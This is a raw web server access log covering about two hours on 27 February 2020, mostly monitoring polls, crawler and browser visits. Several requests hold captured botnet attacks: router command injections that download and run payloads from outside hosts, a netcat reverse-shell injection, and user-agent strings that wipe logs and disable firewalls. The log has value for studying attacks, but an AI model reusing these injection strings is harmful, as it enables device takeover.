212.91.246.72 - - [27/Feb/2020:11:04:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:05:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:06:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:07:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:08:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:09:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:10:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:11:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:12:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.158.95.4 - - [27/Feb/2020:11:13:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:11:13:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:14:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:15:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:16:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:17:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.222.117.168 - - [27/Feb/2020:11:17:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:11:18:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:19:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:20:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:21:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:22:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:23:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:24:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:25:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.83.66.51 - - [27/Feb/2020:11:25:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
212.91.246.72 - - [27/Feb/2020:11:26:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:27:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.97.76.238 - - [27/Feb/2020:11:27:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http:///d%20-68.183.111.251O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "Rift/2.0"
46.97.76.238 - - [27/Feb/2020:11:27:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http:///d%20-68.183.111.251O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "Rift/2.0"
212.91.246.72 - - [27/Feb/2020:11:28:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:29:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.83.65.12 - - [27/Feb/2020:11:29:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
212.91.246.72 - - [27/Feb/2020:11:30:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:31:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:32:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:33:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:34:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:35:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:36:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.70.97.108 - - [27/Feb/2020:11:36:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
45.83.65.157 - - [27/Feb/2020:11:37:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
212.91.246.72 - - [27/Feb/2020:11:37:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:38:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:39:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:40:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.135.245.155 - - [27/Feb/2020:11:40:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:11:41:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:42:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:43:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:44:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.70.70.156 - - [27/Feb/2020:11:44:53 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
212.91.246.72 - - [27/Feb/2020:11:45:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.130.115.129 - - [27/Feb/2020:11:45:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
45.83.66.36 - - [27/Feb/2020:11:46:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
212.91.246.72 - - [27/Feb/2020:11:46:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.73.137 - - [27/Feb/2020:11:46:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
108.46.23.155 - - [27/Feb/2020:11:46:43 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:11:47:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:48:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:49:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:50:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:51:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:52:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:53:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:54:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:55:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:56:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.241.236.210 - - [27/Feb/2020:11:57:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:11:57:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:58:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:11:59:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:00:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [27/Feb/2020:12:00:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [27/Feb/2020:12:01:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:02:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.171 - - [27/Feb/2020:12:02:25 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
60.38.62.232 - - [27/Feb/2020:12:02:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:12:03:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.177 - - [27/Feb/2020:12:04:02 +0100] "GET /seiten/referenzen.htm HTTP/1.1" 404 338 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
45.83.66.57 - - [27/Feb/2020:12:04:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
212.91.246.72 - - [27/Feb/2020:12:04:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.15 - - [27/Feb/2020:12:04:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [27/Feb/2020:12:05:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:06:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:07:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:08:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:09:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.232.15.74 - - [27/Feb/2020:12:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [27/Feb/2020:12:10:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:11:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:12:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.77.201.227 - - [27/Feb/2020:12:12:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:12:13:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:14:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:15:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:16:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.219.245.32 - - [27/Feb/2020:12:17:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:12:17:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:18:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:19:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:20:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.1.64.146 - - [27/Feb/2020:12:21:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:12:21:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:22:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:23:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.49.226.137 - - [27/Feb/2020:12:24:00 +0100] "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2037.49.226.137%2029312%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0" 404 322 "-" "-"
212.91.246.72 - - [27/Feb/2020:12:24:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:25:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.6.21.11 - - [27/Feb/2020:12:26:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:12:26:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:27:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:28:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.98.200.8 - - [27/Feb/2020:12:28:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:12:29:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:30:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.229.168.152 - - [27/Feb/2020:12:30:30 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)"
46.229.168.140 - - [27/Feb/2020:12:30:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)"
46.229.168.140 - - [27/Feb/2020:12:30:34 +0100] "GET /sitemap.xml HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)"
79.21.104.16 - - [27/Feb/2020:12:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
79.21.104.16 - - [27/Feb/2020:12:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:12:31:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:32:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:33:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.130.115.129 - - [27/Feb/2020:12:34:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
45.83.66.141 - - [27/Feb/2020:12:34:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
212.91.246.72 - - [27/Feb/2020:12:34:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:35:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:36:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:37:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:38:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.235.248.180 - - [27/Feb/2020:12:39:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:12:39:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.130.115.129 - - [27/Feb/2020:12:40:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [27/Feb/2020:12:40:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:41:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:42:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:43:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:44:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:45:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:46:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:47:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.207.149.95 - - [27/Feb/2020:12:47:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
71.6.232.9 - - [27/Feb/2020:12:47:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:12:48:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:49:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
